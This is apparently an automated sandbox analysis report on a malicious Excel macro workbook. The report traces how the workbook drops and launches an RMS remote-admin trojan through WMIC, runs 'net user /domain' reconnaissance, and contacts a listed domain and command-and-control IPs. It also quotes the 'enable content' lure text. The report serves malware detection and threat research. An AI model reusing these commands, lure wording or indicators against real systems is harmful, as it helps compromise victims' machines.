Play interactive tour

Edit tour

Windows Analysis Report policy#37820.xlsb

Overview

General Information

Sample Name:	policy#37820.xlsb
Analysis ID:	442547
MD5:	f60146ee4fab89ecde8bb1bdb23287b6
SHA1:	82bb4929a849deb1860e4c902745a0673c5911c8
SHA256:	6ab90a34f6fdfaf1486009f70318816cc61201248c0a5231030b9b3d3e010fe9
Infos:
Most interesting Screenshot:

Detection

RMSRemoteAdmin Hidden Macro 4.0

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Contains functionality to create processes via WMI

Creates processes via WMI

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found abnormal large hidden Excel 4.0 Macro sheet

Office process drops PE file

Query firmware table information (likely to detect VMs)

Sigma detected: Execution from Suspicious Folder

Sigma detected: Microsoft Office Product Spawning Windows Shell

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

AV process strings found (often used to terminate AV products)

Antivirus or Machine Learning detection for unpacked file

Contains functionality for read data from the clipboard

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the current domain controller via net

Queries the installation date of Windows

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious WMI Execution

Stores large binary data to the registry

Tries to load missing DLLs

Yara detected RMS RemoteAdmin tool

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 5412 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

WMIC.exe (PID: 6388 cmdline: wmic process call create 'C:\Users\Public\Libraries/appscomhost' MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 6448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

appscomhost (PID: 6596 cmdline: C:\Users\Public\Libraries/appscomhost MD5: 8DF649FAB065908962626C67F247618C)

Javelin.exe (PID: 6832 cmdline: 'C:\Users\Public\JavelinNew\Javelin.exe' MD5: AF5879D56594F01794A2C028BC75EC27)

Javelin.exe (PID: 7128 cmdline: C:\Users\Public\JavelinNew\Javelin.exe -run_agent -second MD5: AF5879D56594F01794A2C028BC75EC27)

cmd.exe (PID: 6308 cmdline: C:\Windows\system32\cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net.exe (PID: 6836 cmdline: net user /domain MD5: DD0561156F62BC1958CE0E370B23711B)

net1.exe (PID: 6436 cmdline: C:\Windows\system32\net1 user /domain MD5: B5A26C2BF17222E86B91D26F1247AF3E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\JavelinNew\Javelin.exe	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
C:\Users\Public\JavelinNew\Javelin.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.300472994.0000000001208000.00000002.00020000.sdmp	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
00000008.00000000.273261388.0000000001208000.00000002.00020000.sdmp	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
0000000B.00000003.319348250.000000007E8F0000.00000004.00000001.sdmp	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
0000000B.00000000.293269223.0000000001208000.00000002.00020000.sdmp	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
0000000B.00000003.324153787.000000007F8D0000.00000004.00000001.sdmp	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
0000000B.00000003.315153554.000000007DEF0000.00000004.00000001.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000B.00000003.320355698.000000007EED0000.00000004.00000001.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000B.00000003.309591822.000000007CF10000.00000004.00000001.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000B.00000002.517622759.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000B.00000000.288998400.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000008.00000000.268064699.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: Javelin.exe PID: 6832	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
Process Memory Space: Javelin.exe PID: 7128	JoeSecurity_RMSRemoteAdmin	Yara detected RMS RemoteAdmin tool	Joe Security
Click to see the 10 entries

Sigma Overview

System Summary:

Sigma detected: Execution from Suspicious Folder

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\JavelinNew\Javelin.exe' , CommandLine: 'C:\Users\Public\JavelinNew\Javelin.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\JavelinNew\Javelin.exe, NewProcessName: C:\Users\Public\JavelinNew\Javelin.exe, OriginalFileName: C:\Users\Public\JavelinNew\Javelin.exe, ParentCommandLine: C:\Users\Public\Libraries/appscomhost, ParentImage: C:\Users\Public\Libraries\appscomhost, ParentProcessId: 6596, ProcessCommandLine: 'C:\Users\Public\JavelinNew\Javelin.exe' , ProcessId: 6832

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: wmic process call create 'C:\Users\Public\Libraries/appscomhost', CommandLine: wmic process call create 'C:\Users\Public\Libraries/appscomhost', CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 5412, ProcessCommandLine: wmic process call create 'C:\Users\Public\Libraries/appscomhost', ProcessId: 6388

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: wmic process call create 'C:\Users\Public\Libraries/appscomhost', CommandLine: wmic process call create 'C:\Users\Public\Libraries/appscomhost', CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 5412, ProcessCommandLine: wmic process call create 'C:\Users\Public\Libraries/appscomhost', ProcessId: 6388

Sigma detected: Net.exe Execution

Show sources

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user /domain, CommandLine: net user /domain, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6308, ProcessCommandLine: net user /domain, ProcessId: 6836

Signature Overview

Click to jump to signature section

Show All Signature Results

Source: 5.1.appscomhost.10000000.2.unpack

Avira: Label: TR/Crypt.XPACK.Gen7

Source: Javelin.exe, 00000008.00000002.300472994.0000000001208000.00000002.00020000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 212.2.198.90:443 -> 192.168.2.3:49720 version: TLS 1.2

Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2l-x32\out32dll\ssleay32.pdb0U source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.305461054.000000001203F000.00000002.00020000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2l-x32\out32dll\libeay32.pdb source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.304923395.00000000110E7000.00000002.00020000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2l-x32\out32dll\ssleay32.pdb source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.305461054.000000001203F000.00000002.00020000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2l-x32\out32dll\libeay32.pdb \| source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.304923395.00000000110E7000.00000002.00020000.sdmp

Source: C:\Users\Public\Libraries\appscomhost	Code function: 5_2_0040676F FindFirstFileW,FindClose,	5_2_0040676F
Source: C:\Users\Public\Libraries\appscomhost	Code function: 5_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405B23
Source: C:\Users\Public\Libraries\appscomhost	Code function: 5_2_00402902 FindFirstFileW,	5_2_00402902

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: usa[1].0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wbem\WMIC.exe

Source: global traffic

DNS query: name: etisalatbuyback.com

Source: global traffic

TCP traffic: 192.168.2.3:49720 -> 212.2.198.90:443

Source: global traffic

TCP traffic: 192.168.2.3:49720 -> 212.2.198.90:443

Source: excel.exe

Memory has grown: Private usage: 1MB later: 104MB

Source: global traffic	TCP traffic: 192.168.2.3:49737 -> 209.205.218.178:5655
Source: global traffic	TCP traffic: 192.168.2.3:49749 -> 198.147.28.34:5655

Source: Joe Sandbox View

IP Address: 209.205.218.178 209.205.218.178

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 192.119.14.178
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34
Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.28.34

Source: unknown

DNS traffic detected: queries for: etisalatbuyback.com

Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0J
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Javelin.exe, 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp, Javelin.exe, 0000000B.00000003.315153554.000000007DEF0000.00000004.00000001.sdmp	String found in binary or memory: http://madExcept.comU
Source: appscomhost, 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: Javelin.exe, 00000008.00000002.300472994.0000000001208000.00000002.00020000.sdmp, Javelin.exe, 00000008.00000002.302591567.0000000001463000.00000002.00020000.sdmp, Javelin.exe, 0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp	String found in binary or memory: http://rmansys.ru/internet-id/
Source: Javelin.exe, 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp, Javelin.exe, 0000000B.00000003.315153554.000000007DEF0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Javelin.exe, 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp	String found in binary or memory: http://update.remoteutilities.net/upgrade.ini
Source: Javelin.exe, 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp	String found in binary or memory: http://update.remoteutilities.net/upgrade_beta.ini
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: Javelin.exe, 00000008.00000000.272062914.0000000000E01000.00000020.00020000.sdmp, Javelin.exe, 0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.305300851.0000000011149000.00000002.00020000.sdmp	String found in binary or memory: http://www.openssl.org/V
Source: Javelin.exe, 00000008.00000002.304923395.00000000110E7000.00000002.00020000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: Javelin.exe, 00000008.00000002.304923395.00000000110E7000.00000002.00020000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEPRNG
Source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443

Source: unknown

HTTPS traffic detected: 212.2.198.90:443 -> 192.168.2.3:49720 version: TLS 1.2

Source: C:\Users\Public\Libraries\appscomhost

Code function: 5_2_004055B8 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

5_2_004055B8

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing on the yellow bar if the document was downloaded from the Internet. 12 ,, , " 3. C
Source: Screenshot number: 4	Screenshot OCR: Enable content onthe yellow barto run plugin Core decryption. 14 15 16 1 i 17 P 18 19 20 2
Source: Screenshot number: 8	Screenshot OCR: Enable editing on the yellow bar if the document was downloaded from the Internet. , Click Enable
Source: Screenshot number: 8	Screenshot OCR: Enable content onthe yellow barto run plugin Core decryption. Results o o Certifies documents )

Contains functionality to create processes via WMI

Show sources

Source: WMIC.exe, 00000001.00000002.259206296.0000000000800000.00000004.00000020.sdmp

Binary or memory string: C:\Users\user\Documents\C:\Windows\SysWOW64\Wbem\wmic.exewmic process call create 'C:\Users\Public\Libraries/appscomhost'C:\Windows\System32\Wbem\wmic.exeWinSta0\Default=::=::\=C:=C:\Users\user\DocumentsALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=computerComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=5507ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=NEBFQQYUSERDOMAIN_ROAMINGPROFILE=computerUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsU?

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: policy#37820.xlsb

Initial sample: Sheet size: 230235

Office process drops PE file

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\usa[1]			Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\Public\Libraries\appscomhost			Jump to dropped file

Source: C:\Users\Public\Libraries\appscomhost

Code function: 5_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

5_2_004034C5

Source: C:\Users\Public\JavelinNew\Javelin.exe

File created: C:\Windows\TEMP\Javelin.madExcept

Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe

File deleted: C:\Windows\Temp\Javelin.madExcept

Jump to behavior

Source: C:\Users\Public\Libraries\appscomhost	Code function: 5_2_00407458		5_2_00407458
Source: C:\Users\Public\Libraries\appscomhost	Code function: 5_2_00406C81		5_2_00406C81

Source: Javelin.exe.5.dr

Static PE information: Number of sections : 11 > 10

Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
